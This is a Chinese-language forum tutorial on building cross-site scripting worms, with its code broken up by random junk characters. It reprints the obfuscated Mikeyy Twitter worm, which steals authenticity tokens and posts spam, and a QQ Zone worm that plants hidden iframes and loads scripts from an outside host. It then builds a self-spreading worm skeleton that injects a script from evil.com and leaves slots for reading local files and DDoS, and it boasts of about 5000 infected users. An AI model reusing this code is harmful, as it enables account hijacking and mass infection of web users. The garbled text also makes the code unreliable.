var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


* a# Z# e$ C2 N4 V% R* c
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

  }8 r& ?+ L" g6 [9 i, @XmlHttp.send(null);
, K( d3 `1 c7 y  ?8 F
( T" v8 a- t' A2 N* o, j<script>
  P, s$ _' }8 l' h3 M* G复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
9 b. z" ^* E% ]- }9 O* r' K- U第一版:
  下载 (5.1 KB)

6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
- U" p8 i! G$ m$ K+ r& U2 r
   2.   
* K: t7 R8 n- X9 M
   3. function XHConn(){  
1 k1 q2 S5 L1 ?. b. M9 C! x
  E8 o) M! n7 E. C# K+ N+ S  W   4.   var _0x6687x2,_0x6687x3=false;  
5 W+ l4 s; s# D; `
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
4 e' E3 g, A- e) E1 `
/ M- S( S! p6 ?6 h- U; \   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
  H  y, N% v. v' u* U. p- q
$ G1 K- p, C* Y9 R, O% X   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
4 O2 z* I6 {4 @6 C复制代码第六版:   1. function wait() {  
7 s% q. g# Y) Z5 Z" A* L
   2.   var content = document.documentElement.innerHTML;  

* X* M- f. X: F* |. ~  t   3.   var tmp_cookie=document.cookie;  
- {7 j# L) U! {1 W  Z0 j
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
8 \% J; ~. K: z4 I$ o* f
; V7 W, C& n7 w3 K0 |' p* y   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

; T9 c6 a% P2 M* e1 x. e% X8 k   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

4 X$ _7 c8 K  F  ?9 [" S% @   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

$ R; C, i* ]) t/ Y. ~  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

/ Q8 q& O. p" E  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
/ ]+ ]5 Q4 L/ a/ `
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

; N* x9 v5 v! |4 F# k& s( v0 U  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
% v: K, N0 c3 X; l5 f( f3 ?6 [
) C7 Z2 q" w# a* n3 m( }0 ~# s  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
- |6 k4 f, X; c  [6 ]
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
8 s" C( ^! }" V: m. J7 d! C, S
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

; V3 h0 @% ]9 s7 J+ p. L  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
1 p% Y2 x( x7 s* g+ n  l9 ^) }% d
" D9 x$ |, f7 L8 v  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
. Z$ \+ c+ h. S
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
# `$ l! w7 K* n3 I/ h
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
$ d5 h2 s  G" ?5 ?" ~
  24.     
4 k1 c; r1 I. c% f" x" g
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

/ e0 H2 I! M2 ~- Y( ^  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

+ F% Z& `- a8 [3 \2 R1 z  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
$ I( R3 h/ }: J  x) ]
$ g0 @1 ^3 G9 F6 C) d  30.   var _0xf81bx1c="Mikeyy";  

/ q6 N# n) C$ ^0 b( E8 _  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
- E: a  @) x  p' M& f  |  m6 H
) _/ j, T) T4 P, \; s" H( _% L* {  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
3 V+ C' U. Y5 Q% f  C
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
  b: a. D" v+ b; r! q1 Q% A
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
3 {* [; O" }4 z9 f; W
  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
, {% ?/ Y" i: ~3 _* ^# i
window.onerror=killErrors;

0 H2 m' g" T3 Z! P/ b; a" M

& F& b1 i7 x/ cvar shendu;shendu=4;
3 j$ Y. G4 G5 {% S! k
. r3 c8 Y0 e0 ~% ~//---------------global---v------------------------------------------

! S" ~. s% L; @. e$ H2 U& ]1 D//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
7 x% V( E1 [. {' c0 D: U
2 B3 A" n* k( c+ h4 a' @/ t( jvar myblogurl=new Array();var myblogid=new Array();
1 a4 ^* z  Q# B/ c
        var gurl=document.location.href;

! D9 W, j+ _; j& G/ w        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
8 x) b9 s9 K3 O% q' P
) \0 c: I  x2 z* N8 [        var visitorID=top.document.documentElement.outerHTML;

* Z3 x; E, M2 G" z           var cookieS=visitorID.indexOf("g_iLoginUin = ");

' W9 M5 g( a' Q( m0 h/ j6 ?        visitorID=visitorID.substring(cookieS+14);
# N: z9 t/ E& `/ K& c6 |0 D
3 f8 t: q: t2 |' s5 z        cookieS=visitorID.indexOf(",");

, Z9 G1 [3 o$ g+ P% B! }+ `+ B: K        visitorID=visitorID.substring(0,cookieS);
2 @# T  V# y4 x3 a
        get_my_blog(visitorID);
4 h/ ]. A5 V* X9 i  y
        DOshuamy();

" |/ ]. ^, b4 k4 G2 N4 @/ M

5 B5 A6 \( ^' i8 h" R' f//挂马
  m/ |, j; d9 ~2 ]: {
function DOshuamy(){
! w' X$ }: n! J6 z) h( ~( _
var ssr=document.getElementById("veryTitle");

$ p& ?. e3 _% t: }5 x( c& Kssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
! V* p3 s/ L3 w* |' Q
}

5 i( J( |- O+ F& }+ ]$ I" ]

; [) r+ B( B$ S* e9 Y6 `. g//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

3 U0 W" c- t  ^* E0 G; Bfunction get_my_blog(visitorID){

2 ~3 C5 u  {, _7 {* q* C% k   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
! Y! T% M' q1 R( \! G9 x7 E5 H8 S
   if(xhr){    //成功就执行下面的

) {- s" B6 T/ z6 K     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
+ O  l0 S( b/ T# S: U
     get_my_blogurl(guest);    //执行这个函数
8 I9 a# J% }8 k4 a" J0 H' ]# {
# J) \- Z# A8 q+ [1 R) K5 N2 J( G    }

; ]; R3 }- @* D0 W}
: H- l. [( [2 Q1 P

# v# H# j- Y0 p2 {
//这里似乎是判断没有登录的

$ m) U; t2 A' \function get_my_blogurl(guest){
0 U9 A$ i3 L  ~5 b% v7 `  j& d) H
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
: u' w, }5 L% R+ d; @# {; X4 T: j
6 ]# x. J: O( r7 I+ F& H  for(i=0;i<shendu;i++){
, d3 c  H- C( v' R1 ]
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

" A3 [" N! k- R) C) O         mybloglist=mybloglist.substring(myurls+11);

; N) I, D' m1 Q         myurls=mybloglist.indexOf(')');

+ \. J/ v/ `! V! Y! l+ |         myblogid=mybloglist.substring(0,myurls);
1 y" B! L) r( P6 M5 Z
        }else{break;}

}
# C3 j* Z& k/ N( v+ ?' z
get_my_testself();    //执行这个函数
9 u% }' U- v, g# s$ M2 ?) B
}
# m/ Y6 A% t0 l3 F* k. x
5 o5 [5 b6 v' r. X: B
5 f, w% f4 e! l# C7 X+ k3 J2 T5 I
  K( N. p& ?! x/ s7 t2 \, n) A//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
- v; q4 H: S3 v* }0 L
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) Z( z* u. A7 \1 B; _/ l; b- z
6 |/ j0 D5 D9 d      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

8 E( z! Q1 v4 t9 P3 ^. Z      if(xhr2){        //如果成功
1 R/ a) k- t' S" ?% o6 p; O5 X
/ d  O6 @6 V& Y$ G: V              xhr2.open("GET",url,false);     //打开上面的那个url

) p$ ]( Y; \# C              xhr2.send();

( S% \8 h7 \' t  F- C              guest2=xhr2.responseText;
9 f; c, {' O* B; x- k0 ?% q7 Z
( h2 b, E( G+ l7 x* V. T- o              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
% d  c6 A" g; Y1 a/ L4 I2 K! [- [
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
$ `7 x6 v5 a8 h$ `7 ?4 o
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
+ B; }+ [" \9 A0 Y, o
                break;
1 U+ }* t# J" _8 ?) W
               }
" L* p# g* @# U5 E- W5 I) |5 T
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
! v3 b- l8 m/ Q* D3 D* i3 @& w
3 ]2 b4 Q% l* M# v6 d                add_js(visitorID,targetblogurlid,gurl);    //执行它

! A% V% O3 }7 E3 j- E                break;
! o8 {7 }/ c) O
6 ^3 k) k/ o$ l/ @% @               }

  z) F+ e' i0 v  S' o. }' z        }      

5 [3 D( O4 g1 R, ^" }$ t}
% f+ g0 W9 s! a9 C6 A# c
}



//--------------------------------------  
/ W! @) ~0 Q! r0 Y4 w
6 `$ D& E* X8 x, Z$ T) k//根据浏览器创建一个XMLHttpRequest对象

3 c8 X, |2 P' W/ w# U6 cfunction createXMLHttpRequest(){
& u: u" S: k: q. z. L8 ^
    var XMLhttpObject=null;  
; ?3 T9 H+ g4 @3 r
. W- ~1 i; s  E! `    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

" S3 R/ }& f0 s2 N/ i8 s    else  

) y) r6 B7 |7 ?, s1 X  g& B      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
) W  U( }) b$ n" k! f
        for(var i=0;i<MSXML.length;i++)  

        {  

# {7 a7 ]) x) N# F6 \            try  
0 q# p+ A+ U: z* _
  W- U, m9 y  |( [1 ]            {  

! g, A* S" t. \. `, }0 x# Z                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

) S1 ^/ K$ D+ C' }) A+ f            }  

- C6 E& G+ I; g& F5 Q! [, M            catch (ex) {  
! T; G6 u+ X. W" ~* i3 J- w% V
5 @# |" O3 j' D* e+ @            }  

7 U( g7 y! _$ X) i         }  

* L- H9 T$ p0 j. f) V$ s/ R# l      }

7 r% L! y7 q: @5 k5 Hreturn XMLhttpObject;
& s" X: {0 ~- c7 b$ ~) A% E
}  
  E3 z/ q* q( a( K5 L% L. ?3 G
% r0 w+ n8 L1 R& Y. `# f  J9 C0 p
4 c/ g- q" L" r( g6 Y3 t) R
//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

4 `7 W4 N) @( ^' V/ fvar s2=document.createElement('script');
2 [4 `3 m/ i, Z
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
, m: [; y; A( F
s2.type='text/javascript';

( T) `! t0 X5 M$ ldocument.getElementsByTagName('head').item(0).appendChild(s2);

3 D4 w# i  M2 b}


3 w0 o+ T$ [0 F
5 r. y0 D/ ~5 q; w) U& rfunction add_jsdel(visitorID,targetblogurlid,gurl){

: h  B3 ~) D: f4 N3 a) [var s2=document.createElement('script');
$ I6 e! G5 l) h1 r- n7 z
# B' C  E& a0 w. ]. [& w2 \s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

! D! e0 R' w. B1 t( x! r- h( [s2.type='text/javascript';

: n( M2 m; F* ?4 N+ tdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 n. ?- g  J+ z2 n: ]" l; U1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 L0 M% M5 @; Q2 J* F' U% A
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
& Y6 ~  i/ J8 M0 R& E# r& H
if(window.XMLHttpRequest) {

% s- d2 Y4 W- d/ ~0 i8 Mrequest = new XMLHttpRequest();
  b6 G4 R8 O( l0 Y5 @
if(request.overrideMimeType) {
% h6 Y5 p4 k$ r4 {- W7 n" ~
request.overrideMimeType('text/xml');
% l% e+ u. i) X1 e. P" h
; E! w* h9 t2 V& p}

" A  A+ l0 V! {; ^* a$ W} else if(window.ActiveXObject) {
% S* n, S; }) q' q' s2 p9 Z
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
& w( a8 F+ p# ?7 ~
  C4 T3 \% C: `  B5 y  q6 gtry {

6 R/ f' v) t( zrequest = new ActiveXObject(versions);

} catch(e) {}
& S- ?/ K. C" t; N6 Z5 F) ?" K! C
+ _! z. Z) b- G: B2 c0 \" B& M}
6 S. a4 F1 \5 b  h
}
" i6 O3 y, ^! @1 L
5 ]) j. c* x& v" v( FxmlHttpReq=request;
: E, d3 s9 o$ n! f2 k, ^复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
0 V% ]3 V( ?4 G
' A: R* V) x4 B& Z4 e( U        var Browser_Name=navigator.appName;

5 K  p; K( m% P        var Browser_Version=parseFloat(navigator.appVersion);
. ]. E2 d8 i1 i; G
        var Browser_Agent=navigator.userAgent;

        
/ W9 C3 E  @5 e% @4 |  B1 `! L; e9 G2 j
6 I" x& W& k# ^% s% Z% c( C        var Actual_Version,Actual_Name;

5 F  I$ A! }! m$ Q* T& b' s        
% ?: J/ Z* V5 u. x1 h& T; ]6 l
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
. r* P3 O9 s' a$ J- d. Z
        var is_NN=(Browser_Name=="Netscape");
, ~- F0 R5 `" A4 l+ H9 p
* x& C! ]7 O+ o2 K        var is_Ch=(Browser_Name=="Chrome");
2 u! [# B4 F3 P3 R+ G
        

        if(is_NN){
* G) m  U2 d6 ]8 r& n+ A
            if(Browser_Version>=5.0){
' @5 O& i8 f7 b  D( _8 Q2 H4 p, g$ a
                var Split_Sign=Browser_Agent.lastIndexOf("/");
5 E( p: z" d( F7 A* s0 x3 P( U* p/ ~% C# i7 y
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

! `9 x  Z8 t$ D  o1 C: [- i                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



5 n2 |7 s2 f/ f$ q; J                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
2 f) h) S+ R% E. l2 ]$ r3 m* D. y! J
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
( h' S, a+ L2 v2 l- i
            else{
& D# |6 Y1 f, R8 c; {) Z
                Actual_Version=Browser_Version;

- J2 z0 G1 v& \, N1 o6 X6 t                Actual_Name=Browser_Name;

- O7 _- \; z2 {$ a' I* o7 J: I            }
% O, [6 t& Y( v; }- V+ V
        }

6 K0 Q7 b' d" z0 Q' r6 j        else if(is_IE){
, B2 W9 q4 H9 c/ L/ \: `& S& j
            var Version_Start=Browser_Agent.indexOf("MSIE");
1 j, i' R4 ]. F9 F
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
, ^/ [: q" }' S! \1 x) q
1 v: I7 O( }# }% }  ~            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' k/ ]$ ^5 C3 z! x8 P+ ~            Actual_Name=Browser_Name;
$ F% Q6 l  `4 O  D4 ]
            
+ Z: z' |8 H2 X, Z
% ^1 A  z$ [* H            if(Browser_Agent.indexOf("Maxthon")!=-1){
" Z( i$ v# ^. d6 J& U/ Q. e
                Actual_Name+="(Maxthon)";
) Q* O" j; G2 D) M6 l( S
7 Z8 [. Q2 ^+ {3 j6 t            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
# a6 o$ b* R  a7 k/ J5 w! Y
                var tempend=Browser_Agent.length;
/ Z9 \1 X/ w" X% B4 r* T7 `. C8 S* G
1 Q# l' H/ d1 C( l: J2 `% X6 @                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
. U4 ?) Z! c. [7 `5 w3 Y
3 {7 L! n4 o' m) V            }
. z. C* @/ \0 ]& _2 N
% I9 ]* z: K7 N  {" v8 A' {        }

) r% f! _$ Y* R        else if(is_Ch){

; b  v4 u. y; [" M$ G4 Y2 h  I            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 Y: Q+ P4 w8 H; w
            Actual_Name=Browser_Name;
' k+ T& s: }1 g! i: g
* \9 n) d, H* M            

" e" I. W  Z& x            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
8 X! U5 z9 |! b
            }

" t6 E8 j7 }8 u6 W9 v            else if(Browser_Agent.indexOf("Opera")!=-1){

: L- Y9 H/ L/ F+ e9 p                Actual_Name="Opera";
$ ^: y* _9 B5 E/ W8 N7 V2 F' q; b
. U0 k$ v8 k& \. n                var tempstart=Browser_Agent.indexOf("Opera");
5 u8 z' g8 j, S& G
9 O" n+ }( w$ V3 p+ ^4 y& n; _                var tempend=Browser_Agent.length;
8 G( L' T8 O0 v) Q
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
' k, V5 d& _5 }
, b/ X% |/ r; I6 F  P* b) n        }
/ @6 D8 M: ^3 `$ T# U3 Y
        else{

. X' j3 I: E6 k( c- D( G8 h# C            Actual_Name="Unknown Navigator"
: h% i& G, A2 S
            Actual_Version="Unknown Version"
  v9 s- N$ n8 ]0 b+ k( I. T
4 S' X+ r6 Z/ A: ]5 r        }

! c- [+ Y7 w' s# r
/ ]/ \( T+ F, r. j
& _0 t/ X4 m  j+ |, {        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        
6 O2 t3 J6 i; A2 j- B
        this.Name=Actual_Name;
/ j+ A) Z2 R5 A5 {
        this.Version=Actual_Version;
! r; Y- v4 w# d( c
    }
- o+ z  |+ y" z, y. \
    browserinfo();
& `" ~/ u  f" d
0 \# o; A3 Q, E5 M% _    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
+ a- |! w% e" e& f1 f1 V复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 r, V2 X5 |& W$ c; j. G1 f5 |3 i复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
: c0 E8 E/ y7 F; f) u; s
: }8 I% u) [4 R/ xxmlHttpReq.send(null);
6 c0 ]3 @, S* W! d$ @, d
var resource = xmlHttpReq.responseText;
0 L' T$ r4 \5 l
! K3 g  S) O3 P  kvar id=0;var result;
2 Z, u3 {$ K" O8 G7 d) p9 i
, f) y8 F6 |  n! N0 \8 B4 E8 _var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
- }5 G6 N% f) \) B
# q% Q# A. C$ M8 K- C8 X2 J5 C* iwhile ((result = patt.exec(resource)) != null)  {

( g8 E6 g' z( Xid++;
3 Q- h$ U! W- E' M5 c1 i* N/ ?
! i  }2 p9 f, c  d}
4 x9 S$ `( R2 O6 |复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
) N4 Z4 }3 E! G: F7 {& t$ e
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

4 D! ]  a; M% e# s, R  Pvar post="wd="+wd;

$ A, D3 f2 _. |+ t; S" \xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
' E: |7 y) Z: L, {8 h5 O, E" m: `
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
) o4 {' `5 G9 k9 o% h
/ H( ~; c- X) `: d$ CxmlHttpReq.setRequestHeader("content-length",post.length);
; p; i+ C7 a6 c& s2 Q  n  a
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
! o' T; g; N# R' @
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
0 |7 |$ p! R4 `6 |. v, |& w
9 R% |! e- _+ m2 l( l: ]' B1 Z- evar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

) j1 O. ]0 x8 v! ]var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
5 p, Y9 L; r  `6 h. H! p# ]
3 v3 t& m+ }) T( _" xvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

0 t+ i; K: h5 r- yvar post="wd="+wd;

  A$ W* |2 S% I* S5 [5 cxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
5 T+ Z  U" x9 u9 i& O, @
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
" c6 T) p( _( G/ X, ?+ x# \
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
9 k) K8 g3 d5 O
6 f  }6 X6 u0 m: s& y}
3 p4 v0 Y0 E; S. _: X3 [5 |复制代码-----------------------------------------------------总结-------------------------------------------------------------------


6 v# s$ W( G+ ^  q3 t4 Y
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
. Y% w5 B6 R/ t2 p$ x0 k蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
; ]# h2 r9 ]  ?% v6 y/ Z  L/ s8 i, `


; g0 G& _, `9 R! s4 I3 A# V
  ^8 h4 |. H, x2 l- t/ i


2 j3 c* v4 |9 z3 F5 F2 s; F1 Y
本文引用文档资料:
9 S2 n+ ?: b# j0 C1 n" X5 f) b, k
  t6 B6 O5 V, F; }+ K"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
9 Y! `) _, ^: u! N, g" xOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
- n5 `9 O6 r" U8 yhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
  b1 n9 [2 \' U$ S! K. s$ [5 q8 X( TXeye Team http://xeye.us/
- `5 H: D( W# v+ ^: X% ?